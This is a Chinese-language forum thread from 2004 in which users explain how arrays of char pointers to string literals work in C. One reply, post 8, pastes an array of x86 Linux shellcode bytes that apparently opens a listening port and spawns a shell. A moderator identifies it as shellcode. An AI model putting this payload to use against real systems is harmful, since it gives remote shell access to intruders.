免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 1743 | 回复: 16
打印 上一主题 下一主题

*str[]={"abc";"abc"}能这样吗? [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2004-09-17 14:58 |只看该作者 |倒序浏览
char *fruit[]={"Apple","orange","ear"};
可不可以这样表示,能的话我又怎么引用?

论坛徽章:
0
2 [报告]
发表于 2004-09-17 15:01 |只看该作者

*str[]={"abc";"abc"}能这样吗?

这样呢,
    char fruit[]={"Apple","orange","ear"};
怎么打印”orange“出来

论坛徽章:
0
3 [报告]
发表于 2004-09-17 15:18 |只看该作者

*str[]={"abc";"abc"}能这样吗?

懒人啊。试一下或者翻翻书不就知道了。

论坛徽章:
0
4 [报告]
发表于 2004-09-17 15:19 |只看该作者

*str[]={"abc";"abc"}能这样吗?

char *fruit[]={"Apple","orange","ear"}; 是正确的。它的含义是定义了一个 char* 型数组 fruit(即数组元素的类型是字符指针 char*),数组的大小为3。fruit[0] 的值是 "Apple" 字符串的首地址,即 fruit[0] 指向此字符串;同理,fruit[1]、fruit[2] 分别指向 "orange"、"ear 字符串。

char fruit[]={"Apple","orange","ear"}; 是不合法的,原因在于 fruit 字符数组只能存储 1 个字符串(合法的定义并初始化形式是: char fruit[]={"Apple"}; 或  char fruit[]="Apple";),而你给它的初始化字符串有 3 个之多,因而是非法的。应该象上面那样定义数组。

论坛徽章:
0
5 [报告]
发表于 2004-09-17 15:33 |只看该作者

*str[]={"abc";"abc"}能这样吗?

楼上的解释得很好,

论坛徽章:
0
6 [报告]
发表于 2004-09-17 15:42 |只看该作者

*str[]={"abc";"abc"}能这样吗?

看了受益非浅!

论坛徽章:
0
7 [报告]
发表于 2004-09-17 16:34 |只看该作者

*str[]={"abc";"abc"}能这样吗?

多谢,whyglinux      
我又学到了东西

论坛徽章:
0
8 [报告]
发表于 2004-09-17 17:08 |只看该作者

*str[]={"abc";"abc"}能这样吗?

char shell[255] =
"\xeb\x70\x31\xc9\x31\xdb\x31\xc0\xb0\x46\xcd\x80\x5e\x83\xc6\x0f\x89\x46"
"\x10\x89\x46\x14\x89\x46\x18\xb0\x02\x89\x06\x89\x46\x0c\xb0\x06\x89\x46"
"\x08\x31\xc0\xfe\xc3\x89\x5e\x04\xb0\x66\x89\xf1\xcd\x80\x89\x06\xb0\x30"
"\x31\xdb\x31\xc9\xb3\x0e\xfe\xc1\xcd\x80\x66\xb8\x69\x7a\x86\xc4\x66\x89"
"\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\xb0\x10\x89\x46\x08\xb0\x66\x31"
"\xdb\xb3\x02\x89\xf1\xcd\x80\x31\xc0\xfe\xc0\x89\x46\x04\xb0\x66\xb3\x04"
"\x89\xf1\xcd\x80\xeb\x04\xeb\x60\xeb\x8c\x89\x46\x0c\x8d\x46\x0c\x89\x46"
"\x04\x89\x46\x08\xc6\x46\x0c\x10\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x89\xf1"
"\xcd\x80\x83\xee\x0f\x89\xc3\x31\xc9\x89\x4e\x14\xb0\x3f\xcd\x80\x41\xb0"
"\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xfe\x06\xfe\x46\x04\x88\x66\x07\x88\x66"
"\x0b\x89\x76\x0c\x8d\x46\x09\x89\x46\x10\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
"\x0c\x8d\x56\x10\xcd\x80\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\xe8\x9b\xff\xff";
那这个也不错误了

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
9 [报告]
发表于 2004-09-17 17:12 |只看该作者

*str[]={"abc";"abc"}能这样吗?

呵呵,不倒翁还是不要看缓冲区溢出了,好好理解一下字符串指针是正途。上面的shellcode是一个字符串,当然可以用一个字符数组来存放了。''''号只不过是为了写在不同的行上。

论坛徽章:
0
10 [报告]
发表于 2004-09-17 18:03 |只看该作者

*str[]={"abc";"abc"}能这样吗?

[quote]原帖由 "aero"]呵呵,不倒翁还是不要看缓冲区溢出了,好好理解一下字符串指针是正途。上面的shellcode是一个字符串,当然可以用一个字符数组来存放了。''''号只不过是为了写在不同的行上。[/quote 发表:

水平太差了,见笑了,以后会好好学习的,向大家多多学习
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP